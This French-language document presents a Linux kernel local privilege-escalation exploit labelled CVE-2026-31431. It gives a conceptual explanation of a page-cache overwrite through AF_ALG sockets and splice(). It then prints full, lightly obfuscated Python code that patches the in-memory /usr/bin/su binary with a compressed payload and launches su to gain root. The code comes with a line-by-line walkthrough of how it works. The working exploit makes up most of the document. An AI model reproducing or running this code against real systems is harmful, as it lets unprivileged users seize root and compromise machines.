CVE-2026-31431 Exploit d'échec de copie

Partie 1 : Concept théorique (Comment fonctionne CVE-2026-31431)

Au lieu que le système aille constamment chercher les fichiers directement sur le disque dur physique lent—ce qui fait perdre beaucoup de temps—le système Linux crée une copie temporaire du fichier dans la RAM, connue sous le nom de Page Cache. Cela permet au système d'exécuter et de lire le fichier presque instantanément, entièrement dans la RAM.

Ce processus repose sur deux fonctions clés :

• AF_ALG : Chargé de gérer les opérations crypto/chiffrement pour les fichiers et les données à l'intérieur du noyau.

• splice() : Chargé de déplacer les données directement d'un emplacement mémoire à un autre à des vitesses extrêmement élevées (Zero-Copy).

L'exploit manipule ces deux fonctions. Lorsque le système tente de traiter et d'exécuter le fichier en mémoire, il rencontre le code de la charge utile injectée. Étant donné que le noyau Linux gère lui-même la gestion de la mémoire, il ne soupçonne jamais qu'une faille logique ou qu'une modification illégale s'y est produite.

En résumé : La vulnérabilité altère la mémoire pour contourner le chiffrement/les vérifications sur le fichier cible. Elle écrase ensuite des instructions spécifiques de 4 octets dans la mémoire afin que tout utilisateur non privilégié obtienne instantanément l'accès Root—l'ensemble de l'opération étant exécutée directement par le noyau.

Partie 2 : Analyse du code de l'exploit

Le code de l'exploit :

Python

#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

Analyse ligne par ligne :

1. e = zlib.decompress(d("78daab77..."))

   Cette ligne extrait la charge utile hexadécimale compressée. Vous pouvez considérer cette charge utile comme le vecteur d'injection conçu pour accorder les privilèges Root. Elle convertit les données hexadécimales en octets bruts afin qu'elles puissent être écrites dans la RAM pour contourner l'authentification par mot de passe.

2. a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)

   Le script ouvre un descripteur en lecture seule sur le binaire /usr/bin/su (l'exécutable chargé de la commutation de privilèges utilisateur). Il configure une socket AF_ALG (ID AF_ALG = 38) et utilise l'appel système splice() pour diffuser directement les pages mémoire de /usr/bin/su dans le moteur cryptographique du noyau.

3. Écrasement de la mémoire du noyau :

   En raison de la faille du module crypto du noyau (algif_aead), le noyau est trompé pendant l'opération. Au lieu d'écrire la sortie traitée dans un tampon temporaire normal, il écrit la charge utile directement par-dessus la page du binaire /usr/bin/su stockée dans la RAM (Page Cache).

4. while i < len(e): c(f, i, e[i:i+4]); i += 4 & g.system("su")

   Le script exécute une boucle qui écrit la charge utile 4 octets à la fois dans des offsets mémoire consécutifs. Une fois que la boucle a fini de patcher l'instruction dans la RAM, il exécute su. Comme le noyau exécute désormais le code modifié en mémoire, les vérifications de mot de passe sont contournées, accordant l'accès Root à quiconque exécute la commande.